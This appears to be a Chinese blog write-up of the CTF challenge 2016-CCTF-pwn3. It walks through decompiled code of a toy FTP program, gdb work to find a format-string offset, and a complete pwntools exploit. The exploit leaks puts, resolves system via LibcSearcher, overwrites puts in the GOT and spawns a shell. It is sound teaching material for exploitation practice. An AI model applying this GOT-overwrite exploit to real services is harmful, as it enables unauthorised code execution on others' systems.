格式化字符串漏洞例子(二)hijack GOT

1.pwn3

题目下载,FORK自CTFWIKI
emmm经过菜鸡的无限自闭大法。结合师兄的无私指教,终于把这题弄懂了

用IDA打开的时候出现了一点意外,我也不知道什么叫作盗版的IDA生成的数据库


image.png

后来直接生成的c代码文件
代码连接

经过分析,程序分为五个大块。main函数,验证身份函数,put_file函数,get_file函数,show_dir函数
是一个需要验证身份的ftp连接程序。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed int v3; // eax
  int v4; // [esp+14h] [ebp-2Ch]
  int v5; // [esp+3Ch] [ebp-4h]

  setbuf(stdout, 0);
  ask_username((char *)&v4);
  ask_password((char *)&v4);
  while ( 1 )
  {
    while ( 1 )
    {
      print_prompt();
      v3 = get_command();
      v5 = v3;
      if ( v3 != 2 )
        break;
      put_file();
    }
    if ( v3 == 3 )
    {
      show_dir();
    }
    else
    {
      if ( v3 != 1 )
        exit(1);
      get_file();
    }
  }
}

看到主函数,这里先进行了ask_username和ask_password的函数进行验证身份。再选择操作,根据操作来进行put_file,showdir,get_file的操作。

//----- (0804894B) --------------------------------------------------------
char *__cdecl ask_username(char *dest)
{
  char src[40]; // [esp+14h] [ebp-34h]
  int i; // [esp+3Ch] [ebp-Ch]

  puts("Connected to ftp.hacker.server");
  puts("220 Serv-U FTP Server v6.4 for WinSock ready...");
  printf("Name (ftp.hacker.server:Rainism):");
  __isoc99_scanf("%40s", src);
  for ( i = 0; i <= 39 && src[i]; ++i )
    ++src[i];
  return strcpy(dest, src);
}
// 8048550: using guessed type int __isoc99_scanf(const char *, ...);
// 804894B: using guessed type char src[40];
//----- (080489D6) --------------------------------------------------------
int __cdecl ask_password(char *s1)
{
  if ( strcmp(s1, "sysbdmin") )
  {
    puts("who you are?");
    exit(1);
  }
  return puts("welcome!");
}

这里验证身份处的两个函数,是对你输入的src进行每一个字符的+1处理,再与“sysbdmin"进行对比所以在

tmp = 'sysbdmin'
name = ""
for i in tmp:
    name += chr(ord(i) - 1)

此位置构造的脚本

signed int get_command()
{
  char s1; // [esp+1Ch] [ebp-Ch]

  __isoc99_scanf("%3s", &s1);
  if ( !strncmp(&s1, "get", 3u) )
    return 1;
  if ( !strncmp(&s1, "put", 3u) )
    return 2;
  if ( !strncmp(&s1, "dir", 3u) )
    return 3;
  return 4;
}

然后就进行选择操作,根据get_command()的函数中,可以发现进入选择只有get,put,dir,对应的操作就是get_file,put_file,dir_show。

//----- (080487F6) --------------------------------------------------------
int get_file()
{
  char dest; // [esp+1Ch] [ebp-FCh]
  char s1; // [esp+E4h] [ebp-34h]
  char *i; // [esp+10Ch] [ebp-Ch]

  printf("enter the file name you want to get:");
  __isoc99_scanf("%40s", &s1);
  if ( !strncmp(&s1, "flag", 4u) )
    puts("too young, too simple");
  for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
  {
    if ( !strcmp(i, &s1) )
    {
      strcpy(&dest, i + 0x28);
      return printf(&dest);
    }
  }
  return printf(&dest);
}
//----- (080486E7) --------------------------------------------------------
int show_dir()
{
  int v0; // eax
  char s[1024]; // [esp+14h] [ebp-414h]
  int i; // [esp+414h] [ebp-14h]
  int j; // [esp+418h] [ebp-10h]
  int v5; // [esp+41Ch] [ebp-Ch]

  v5 = 0;
  j = 0;
  bzero(s, 0x400u);
  for ( i = file_head; i; i = *(_DWORD *)(i + 240) )
  {
    for ( j = 0; *(_BYTE *)(i + j); ++j )
    {
      v0 = v5++;
      s[v0] = *(_BYTE *)(i + j);
    }
  }
  return puts(s);
}

经过分析,file_head在get_file输入时会保存在get_file函数中s1的地址,并在show_dir函数中将get_file赋给s,输出s,那么我们就可以在尝试将got表中puts函数替换成sys函数。

思路:
通过密码
确认格式化地址偏移,获取puts地址
got表换取libc.so版本,获取system地址
将puts地址内容修改为system
修改file_head指向/bin/sh
show_dir执行puts,等同system("/bin/sh“)

gdb断点调试,获得字符串漏洞偏移

gdb-peda$ b *0x0804889E
Breakpoint 1 at 0x804889e
gdb-peda$ r
Starting program: /mnt/hgfs/CTF/share/pwn/ctf-challenges/pwn/fmtstr/2016-CCTF-pwn3/pwn3 
Connected to ftp.hacker.server
220 Serv-U FTP Server v6.4 for WinSock ready...
Name (ftp.hacker.server:Rainism):rxraclhm  
welcome!
ftp>get
enter the file name you want to get:1111

[----------------------------------registers-----------------------------------]
EAX: 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>:    add    esp,0x10)
EBX: 0x0 
ECX: 0x66 ('f')
EDX: 0xffffce04 ("1111")
ESI: 0xf7fb4000 --> 0x1d7d6c 
EDI: 0x0 
EBP: 0xffffce38 --> 0xffffce88 --> 0x0 
ESP: 0xffffcd20 --> 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>: add    esp,0x10)
EIP: 0x804889e (<get_file+168>: call   0x80484c0 <printf@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048893 <get_file+157>:    jne    0x8048853 <get_file+93>
   0x8048895 <get_file+159>:    lea    eax,[ebp-0xfc]
   0x804889b <get_file+165>:    mov    DWORD PTR [esp],eax
=> 0x804889e <get_file+168>:    call   0x80484c0 <printf@plt>
   0x80488a3 <get_file+173>:    leave  
   0x80488a4 <get_file+174>:    ret    
   0x80488a5 <get_command>: push   ebp
   0x80488a6 <get_command+1>:   mov    ebp,esp
Guessed arguments:
arg[0]: 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>: add    esp,0x10)
[------------------------------------stack-------------------------------------]
0000| 0xffffcd20 --> 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>:    add    esp,0x10)
0004| 0xffffcd24 --> 0x8048baa ("flag")
0008| 0xffffcd28 --> 0x4 
0012| 0xffffcd2c --> 0xf7ffd000 --> 0x26f34 
0016| 0xffffcd30 --> 0x0 
0020| 0xffffcd34 --> 0xf7fb4dc7 --> 0xfb58900a 
0024| 0xffffcd38 --> 0x1 
0028| 0xffffcd3c --> 0xf7e4ddab (<_IO_new_file_write+43>:   add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804889e in get_file ()
gdb-peda$ fmtarg 0xffffcd3c
The index of format argument : 7

exp.py

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
pwn3 = ELF('./pwn3')
if args['REMOTE']:
    sh = remote('111', 111)
else:
    sh = process('./pwn3')

def get(name):
    sh.sendline('get')
    sh.recvuntil('enter the file name you want to get:')
    sh.sendline(name)
    data = sh.recv()
    return data

def put(name, content):
    sh.sendline('put')
    sh.recvuntil('please enter the name of the file you want to upload:')
    sh.sendline(name)
    sh.recvuntil('then, enter the content:')
    sh.sendline(content)

def show_dir():
    sh.sendline('dir')

tmp = 'sysbdmin'
name = ""
for i in tmp:
    name += chr(ord(i) - 1)

# password
def password():
    sh.recvuntil('Name (ftp.hacker.server:Rainism):')
    sh.sendline(name)

#通过密码验证
password()
#获取puts地址
puts_got = pwn3.got['puts']
log.success('puts got : ' + hex(puts_got))
#格式化字符串漏洞执行
put('1111', '%8$s' + p32(puts_got)) 
puts_addr = u32(get('1111')[:4])

# 获取libc.so版本,根据sys和puts的相对偏移来换取对应的sys地址
libc = LibcSearcher("puts", puts_addr)
system_offset = libc.dump('system')
puts_offset = libc.dump('puts')
system_addr = puts_addr - puts_offset + system_offset
log.success('system addr : ' + hex(system_addr))

# 将puts替换成sys
payload = fmtstr_payload( 7,{puts_got: system_addr})
put('/bin/sh;', payload)
sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
#get中替换file_head
sh.sendline('/bin/sh;')

# 执行system('/bin/sh')
show_dir()
#获取shell
sh.interactive()

获取成功


image.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,444评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,421评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,036评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,363评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,460评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,502评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,511评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,280评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,736评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,014评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,190评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,848评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,531评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,159评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,411评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,067评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,078评论 2 352

推荐阅读更多精彩内容